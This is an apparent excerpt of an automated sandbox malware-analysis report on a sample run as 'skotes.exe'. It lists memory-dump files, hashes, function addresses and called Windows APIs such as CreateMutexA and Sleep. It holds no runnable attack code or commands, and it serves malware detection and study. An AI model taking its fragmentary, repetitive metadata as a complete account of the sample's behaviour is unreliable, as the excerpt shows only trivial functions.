Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 7810267772885308c32a46534d17bc1936e44f1ae18e714b90d3d70244a082c7
Instruction ID: d01cbb7547d61843bac4b57d186cb6134c75ed4b57dff59418161302d23f44e5
Opcode Fuzzy Hash: 7810267772885308c32a46534d17bc1936e44f1ae18e714b90d3d70244a082c7
Instruction Fuzzy Hash: 10A1F1B1A01615EFDB20DF74D94479AB7E8FF18318F14A129E816F7241EB31EA84CB91

Function 00E4CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00E4CC66

Strings

v, xrefs: 00E4CBE1

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v
API String ID: 3213747228-1361604894
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: b7bac414bb533b9e896c7bfcdbd4734c1f460a706ca87a19d4020077db76960c
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 7BB12332E026459FDB15CF28D8817FEBBE5EF45344F25916AE855FB242D6348D02CBA0

Function 00E2BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00E2BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00E2BBE4
_xtime_get.LIBCPMT ref: 00E2BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00E2BC13

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: ebece6527f705a0f3aa83f6e4832f6d10ad7270a12f8fd0ad72a54282a9e586a
Instruction ID: 325c3eba16affce458b6b8e632ee3058a28986cfb61f63dd27fd34990ab6efb5
Opcode Fuzzy Hash: ebece6527f705a0f3aa83f6e4832f6d10ad7270a12f8fd0ad72a54282a9e586a
Instruction Fuzzy Hash: A9213271A00129AFDF00EFA4ED829BEB7F9EF48714F201015F501B7261DB709D059BA0

Function 00E4F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00E4F3A3

Strings

8", xrefs: 00E4F44B
`', xrefs: 00E4F375

Memory Dump Source

Source File: 00000000.00000002.1812113403.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1812097555.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812113403.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812168625.0000000000E79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812184677.0000000000E7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812203953.0000000000E87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812405350.0000000000FE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812424250.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000000FF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812445675.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812482513.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812499217.0000000001011000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812523883.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812540981.0000000001037000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812557994.000000000103F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812576906.000000000104D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812598014.0000000001068000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812616708.000000000106C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812634411.000000000106D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812650562.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812666441.0000000001073000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812686936.0000000001077000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812705445.0000000001084000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812725082.0000000001089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812742085.0000000001090000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812759986.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812779237.000000000109D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812796987.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812814288.00000000010A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812832067.00000000010E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812882279.00000000010FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812898588.00000000010FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812915300.000000000110F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812932651.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812955066.0000000001112000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812972533.0000000001117000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1812988154.0000000001119000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813006872.0000000001127000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-1436819768
Opcode ID: e8933d33207042eccfb19980cd66d82f11b6ebb6a8c700a17a3387b7d95379a9
Instruction ID: 6013dcb0dee6902358a682f9d3b96c63d848426e753e6da4ac3231e3e6826a7e
Opcode Fuzzy Hash: e8933d33207042eccfb19980cd66d82f11b6ebb6a8c700a17a3387b7d95379a9
Instruction Fuzzy Hash: 1E313932A00201DFEB21AE39E845B5B73E8EF4476EF14A439F459E7595DE70EC808A15

Analysis Process: skotes.exePID: 5628, Parent PID: 4936COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	617
Total number of Limit Nodes:	4

Executed Functions

Function 0083652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0083652A,?,?,?,?,?,00837661), ref: 00836567

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d2023895ffcc9d3ec89a3140fbfc0e8baf121eb2cc17182026b7a722a4fe6a9c
Instruction ID: d436c353ffa9c1d7df24a67e3e281f50ff4d80f64280718ddba42944f80d5f5c
Opcode Fuzzy Hash: d2023895ffcc9d3ec89a3140fbfc0e8baf121eb2cc17182026b7a722a4fe6a9c
Instruction Fuzzy Hash: C9E086301406087ECF397B1CD86DD8C7B59FB91745F044810FA1986225DB25DD51C5C1

Function 00809BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 18749347be2cb22b5b08d4313a42f9dc7a7d3614159a7a12ea223776528f88e7
Instruction ID: 2cc5a8e6125fe048bfc97923ddaada635b815d1c4151607a99d0bd18dad00c37
Opcode Fuzzy Hash: 18749347be2cb22b5b08d4313a42f9dc7a7d3614159a7a12ea223776528f88e7
Instruction Fuzzy Hash: 27312531B042048BEB089B6CDC997ADBA62FF86324F248218E054D73E6C77599818692

Function 00809F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
